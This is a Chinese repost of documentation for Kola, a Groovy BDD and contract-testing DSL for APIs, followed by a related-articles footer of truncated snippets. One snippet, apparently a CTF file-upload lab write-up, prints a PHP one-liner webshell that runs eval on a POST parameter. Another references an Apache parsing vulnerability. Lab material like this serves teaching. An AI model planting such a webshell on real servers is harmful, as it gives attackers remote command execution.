DSL domain specific language of Kola

 

 How we design Kola - ApiHugKola background, Kola a consumer driver tester frameworkicon-default.png?t=N7T8https://apihug.com/zhCN-docs/kola/003_dsl_contract

Concept

在 Kola 定位中 Kola 是什么, 是致力于提供一个让相关各方都能够理解共同创造的测试框架和工具。

同时 Kola 是建立于业界成熟的实践和方法论上,综合工程实践的便利和流程的严谨性, 在主流的测试思想中,这三种 Kola 深受启发:

  1. TDD: Test driven development
  2. BDD: Behaviour-Driven Development
  3. CDC: Consumer Driven Contracts

在工程实践中; Kola 从 SmartBear 的 PactFlow, Spring clout Contract, Spock, Karate 等前辈上得到很多参考和灵感;

更不用说, 测试界的基石: Junit5, TestNG, AssertJ 等基础框架;

Kola 一如既往遵循软件开发的开闭原则, 在学习成本、工程实践、团队协同上做综合的调和, 让整个测试过程更丝滑,更人性化:

Kola make your test life happier and colourful

为什么 BDD 风格声明为首选? 虽然我们没有使用主流 BDD 实践框架比如 Cucumber, 作为底座;

但是 BDD 的表达方式,真的是太好了,兼顾程序世界的结构化,和非程序世界的通俗易懂;所以用他来表达用户用例(故事)再好不过!

Feature: Explaining ApiHugIn order to gain an understanding of the ApiHug testing systemAs a non-programmerI want to have an overview of ApiHug that is understandable by non-geeksScenario: A worker seeks an overview of ApiHug Given I have a coworker who knows a lot about ApiHugWhen I ask my coworker to give an overview of how ApiHug worksAnd I listen to their explanationThen I should have a basic understanding of ApiHug

这个来自官方的标准BDD 定义方式, 在 Kola 概念基本暴利, 除了 And 被省掉;

因为一般我们是 request, response 方式验证API, And 就是发送请求, Then 直接对结果验证。

Kola, 协议定义在: import hope.kola.contract.Feature 使用 groovy 语法, 让整体的用例书写更轻松和愉悦。

👍 如果你的 Feature Groovy 在IDE未能识别, 在更新版本后尝试 Reload gradle 以让IDE刷新识别。

​Background

A Background allows you to add some context to the scenarios that follow it. It can contain one or more Given steps, which are run before each scenario, but after any Before hooks.

​Feature

The purpose of the Feature keyword is to provide a high-level description of a software feature, and to group related scenarios.

​Scenario

a written description of your product’s behavior from one or more users’ perspectives

​Given

Given steps are used to describe the initial context of the system - the scene of the scenario. It is typically something that happened in the past.

在 ApiHug 上下文, Given 就是 API 环境, 可以从 ApiHug 或者独立的API 环境引入:

​ApiHug API

这个是最直接的方式:

    Given {api("UserService", "Login")}
  1. UserService ApiHug 服务, 最好全路径引入, 编译时会校验, 相对路径也可以, 但是保证无重复, IDEA 提供工具自动化完成
  2. Login 方法名, 在此服务内必须包含

直接用 ApiHug 上下文的 api 可以有更丰富的上下文, 关于request, response 的定义, path, 参数, 校验规则。

request body 预 mock, 无须自己写 body, 只需稍微调整就可以。

是 kola 首推的方式!

​Raw API

如果第三方的API, 我们没有的元信息,只能通过手动写:

    Given {get("https://github.com")}

​When

When steps are used to describe an event, or an action. This can be a person interacting with the system, or it can be an event triggered by another system.

在 ApiHug 的定义中, When 用来组装 request 的上下文:

类型备注
body请求体,可以通过json, 然后通过生命式语法动态声明
multipart附件
cookiescookie 信息
headersheader 信息
queries请求参数(动态)
paths路径参数(动态)
​请求体

JSON 定义:

    json("""
{"name": "jake","age": 18,"address": {"country": "$V('from')","zip": 200021}
}
""")
  1. 标准 json 定义方式
  2. 动态环境变量 $V('from') 运行时会通过 expression 从环境中获取 from 参数值;

body 修改:

定义完成后如果还不能满足需求,可以继续通过 body 进行 json path 进一步修改, 修改和覆盖原来值;

  body {set('name', "same")set('student.name', "blue")set('student.age', 22)set('student.weight', 123.3d)set('student.friends', "jake", "blue", "yellow")fromGlobal("student.country", "country")}

最终组装成一个合适的请求体;

​multipart
  multipart {file{fromClassPath("hello.txt")}}
​cookies
    cookies {//Possible Bear + {jwt}fromGlobal(authorization(), "jwt")}
​headers
​queries
  queries {pageable {page(0)size(12)}fromGlobal("userName", "jake")}
​paths
  paths {fromGlobal("user-id", "userId")}

​Then

Then steps are used to describe an expected outcome, or result.

​status
  Then {isOk()status 200}
​body
    stringAssert("user.address.zipCode", {isEqualTo("jake")isBase64()isAlphabetic()startsWithIgnoringCase("json")})bigDecimalAssert("user.salary", {isCloseTo(new BigDecimal("1112.22"), Offset.offset(12))isGreaterThanOrEqualTo(new BigDecimal("231312"))})booleanAssert("user.live", {isTrue()})
  1. 基于 json path
  2. Assertj Assertions 全部 bridge, Fluent assertions
  3. 声明式校验,一写到底,一气呵成

​Script Support

​Pre Script

​Post Script

    postScript {{headSet("age", 1234)globalSet("same", "blue")}}

​Junit

Consumer Driven Contracts, What’s Kola’s domain language looks like?

How it easy to understand and get hand in. you will love it.

Default Extension, lifecycle management.

​Configuration

Use DSL to define environment also {WIRE_MODULE}/src/test/resources/config/kola.groovy:

  1. common: base configuration
  2. different env overwrite configuration property
  3. active env base on the passed env flag: -Dtags=qa,dev
import com.test.bigger.example.Student
import static hope.kola.contract.Configuration.*var big = 1123[common {baseURI("https://qa.example.com")port(9527)p("date", ofDate("2022-12-12"))rest {log {enablePrettyPrinting()logBodyDetailIfValidationFails()}}},env("qa", {baseURI("https://qa.example.com")port(big)}),env("prod", {baseURI("https://prod.example.com")p("date", nowDayOfMonth())p("bigStudent", new Student().setName("jake").setAge(19))rest {closeIdleConnectionsAfterEachResponse(12l, second())log {logAllDetailIfValidationFails()}}})
]

​Sample

import hope.kola.contract.Feature
import org.assertj.core.data.OffsetFeature.make {priority 100name("Customer login place order and check balance logic")description("""Never judge the boss, as you may the real fool""")Scenario "001 Try login ", {preScript {//Define prepare logic here}Given {api("UserService", "Login")}When {json("""""")body {set('name', "same")set('student.name', "blue")set('student.age', 22)set('student.weight', 123.3d)set('student.friends', "jake", "blue", "yellow")fromGlobal("student.country", "country")}queries {pageable {page(0)size(12)}fromGlobal("userName", "jake")}paths {fromGlobal("user-id", "userId")}}And {stringAssert("user.address.zipCode", {isEqualTo("jake")isBase64()isAlphabetic()startsWithIgnoringCase("json")})bigDecimalAssert("user.salary", {isCloseTo(new BigDecimal("1112.22"), Offset.offset(12))isGreaterThanOrEqualTo(new BigDecimal("231312"))})booleanAssert("user.live", {isTrue()})}postScript {{headSet("age", 1234)globalSet("same", "blue")}}}Scenario "002 Place a order", {}Scenario "003 Check balance", {}
}

​参考

  1. spring test spring-framework/spring-test
  2. spring test doc spring-framework/reference/testing
  3. spring boot test spring-boot-test
  4. spring boot test doc spring-boot/testing
  5. spring contract spring-cloud-contract
  6. spring contract doc spring-cloud-contract reference
  7. cucumber Behaviour-Driven Development
  8. Spock: Spock Framework
  9. karate Test Automation Made Simple
  10. Contract Test Martin Fowler
  11. PactFlow SmartBear Consumer Driven
  12. Contract Testing Vs Integration Testing from PactFlow
  13. Consumer-Driven Contracts: A Service Evolution Pattern

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/394853.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

node中使用http创建web服务器

1.案例代码 // 1.导入http模块 const http require(http)// 2.创建web服务器实例 const server http.createServer()// 3.为服务器实例绑定request事件,监听客户的请求 server.on(request,function(req,res){console.log(欢迎来到服务器);// req.url是客户端请求…

Kubernets(k8s) 网络原理二:Pod访问外网

上一篇文章中,我们介绍了pod与宿主机通信,并且通过network namespace模拟了通信过程。回顾整个流程,无非就涉及到两个东西,通信设备和路由规则。 本文要讲的,也离不开这两个东西,只不过需要对容器IP进行额…

学习c语言第24天(练习)

编程题 第一题 最大公约数最小公倍数求和 //求最大公约数和最小公倍数之和 //暴力求解 //int main() //{ // int n 0; // int m 0; // while (scanf("%d %d", &n, &m)2) // { // int min n < m ? n : m; // int max n > m ? n : m; //…

Stable Diffusion 使用详解(7)---AI 摄影

目录 背景 底模的选择 例子 majicMix GirlFriendMix&#xff08; Lora&#xff09; 对比效果 LEOSAMs MoonFilm ADetailer 使用 说明 例子 问题 处理方式 效果 背景 魔法师使用魔法作的画有时候太过完美&#xff0c;以至于有点脱离真实摄影的感觉&#xff0c;我们…

【电控笔记z14z16】增加霍尔元件分辨率

霍尔传感器用的不多?实际增量编码器更好 z14 假设60度内速度不变 z16(更简单的方法)BLDC

【机器学习】BP神经网络正向计算

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 BP神经网络正向计算1. 引言2. BP神经网络结构回顾3. 正向计算的基本原理4. 数学…

7.3.1.算法设计与分析-总结及真题讲解

总结 分治法特征&#xff1a;把一个问题拆分成多个小规模的相同子问题&#xff0c;一般可用递归解决。 经典问题&#xff1a;斐波那契数列、归并排序、快速排序、矩阵乘法、二分搜索、大整数乘法、汉诺塔 回溯法特征&#xff1a;系统的搜索一个问题的所有解或任一解。 经典问题…

ctfhub文件上传

⽆验证 上传⼀句话⽊⻢&#xff0c;发现上传成功 1.php ⼀句话⽊⻢内容&#xff1a; <?php eval($_POST[cmd]);?> 上传⼀句话⽊⻢&#xff0c;发现上传成功 http://challenge-8b27d18368ecc25c.sandbox.ctfhub.com:10800/upload/1.ph p 前端验证 开启题⽬ 上传⼀个…

[Modbus] Modbus协议开发-基本概念(一)

历史 ModBus官网是Modicon&#xff08;Modicon早年已被施耐德收购&#xff09;公司为其PLC通讯而开发的一种通讯协议。 概述 通过Modbus协议&#xff0c;控制器之间、或控制器经由网络&#xff08;如以太网&#xff09;可以和其它设备之间进行通信。 优点 免费、好用、成熟…

DIRB:一款强大的Web目录扫描工具使用指南

网安学习交流 DIRB是一款广泛使用的开源Web内容扫描工具&#xff0c;它专注于发现Web服务器上存在的目录和文件。对于安全研究员、渗透测试人员以及Web开发者来说&#xff0c;DIRB是一个不可或缺的工具&#xff0c;它能帮助他们识别潜在的入口点&#xff0c;从而进一步评估目标…

Java学习Day20

Vue学习 nodejs的安装与环境配置 1.直接去官网下载合适版本的nodejs( https://nodejs.org/zh-cn/download/prebuilt-installer) 2.解压下载的安装包&#xff0c;将文件路径配置到系统变量的path中&#xff0c;然后确认后退出。可以使用终端来查看安装的nodejs版本。使用winR…

【C++ Primer Plus】学习笔记 4

文章目录 前言一、结构类型1.在程序中使用结构2.C11结构初始化3. 结构可以将 string 类作为成员吗4.其他特性5.结构数组 二、共用体三、枚举1.设置枚举量的值2. 枚举的取值范围 前言 该笔记内容为书第四章——复合类型&#xff0c;加油加油 一、结构类型 结构是用户定义的类型…

文件:ls,ll,fcpgets,cpwr

1、fcpgets fgets和fputs用于处理文本文件&#xff0c;而不是二进制文件&#xff0c;因为会进行换行符的处理&#xff0c;图片文件包含二进制数据并且包含\0字符&#xff0c;会出现意外终止条件。 2、cprw fread&#xff1a;函数从文件流中读取数据&#xff0c;储存到指向空间…

【Android Studio】gradle文件、配置、版本下载、国内源(SDK版本、gradle版本以及gradle-plugin(AGP)版本)

文章目录 AS查看gradle-plugin版本及gradle版本&#xff08;图形&#xff09;查看gradle-plugin版本及gradle版本&#xff08;配置文件&#xff09;配置文件分析解决gradle下载失败、版本错乱等问题。 Gradle 是一个基于 Apache Ant 和 Apache Maven 概念的自动化构建工具&…

Linux:多线程(二.理解pthread_t、线程互斥与同步、基于阻塞队列的生产消费模型)

上次讲解了多线程第一部分&#xff1a;Linux&#xff1a;多线程&#xff08;一.Linux线程概念、线程控制——创建、等待、退出、分离&#xff0c;封装一下线程&#xff09; 文章目录 1.理解Linux下线程——理解tid2. Linux线程互斥2.1相关概念2.2引入问题分析问题解决思路 2.3L…

牛客网每日刷题之 HJ99.自守数(C++)

在不断学习的过程中也不能忘记了基础知识的巩固&#xff0c;在学习新的知识后要学会去举一反三&#xff0c;前不久我刚刚了解了一些关于 string 类的知识&#xff0c;对牛客网的 自守数 有了新的解题思路&#xff0c;让我们一起看看这道题吧 思路解析 a. 整数方法 1. 首先我们知…

盘点5个PDF 怎么转换成 Word 的实用技巧

在日常的办公和学习中&#xff0c;要将 PDF 文件转换成 Word 是很常有的事。方便我们编辑、修改内容或者是提取其中的内容。一般都会用到一些工具&#xff1b;下面&#xff0c;我将为大家介绍5种高效且实用的 PDF 转 Word 的方法。 1、PDF365转换软件 直通车&#xff1a;www.…

模块化叙事的演变:DeFi借贷开发的模块化转型

随着区块链技术的不断发展&#xff0c;去中心化金融&#xff08;DeFi&#xff09;正经历一场深刻的变革。模块化借贷作为这一变革的重要部分&#xff0c;正逐渐成为加密金融领域的焦点。本文将探讨模块化借贷的起源、演变及其未来发展方向。 一、模块化的起源 模块化区块链的概…

nodejs/node-sass/sass-loader三者版本对应关系(已解决)

基本前提&#xff1a;了解版本对应关系 示例&#xff1a; 我的nodejs&#xff1a;v14.21.3&#xff0c; 则package.json: "node-sass": "^4.14.1", "sass-loader": "^8.0.0",扩展&#xff1a; 查看node历史版本&#xff1a; Node.js…

CVE-2017-15715~Apache解析漏洞【春秋云境靶场渗透】

Apache解析漏洞 漏洞原理 # Apache HTTPD 支持一个文件拥有多个后缀&#xff0c;并为不同后缀执行不同的指令。比如如下配置文件&#xff1a; AddType text/html .html AddLanguage zh-CN .cn# 其给 .html 后缀增加了 media-type &#xff0c;值为 text/html &#xff1b;给 …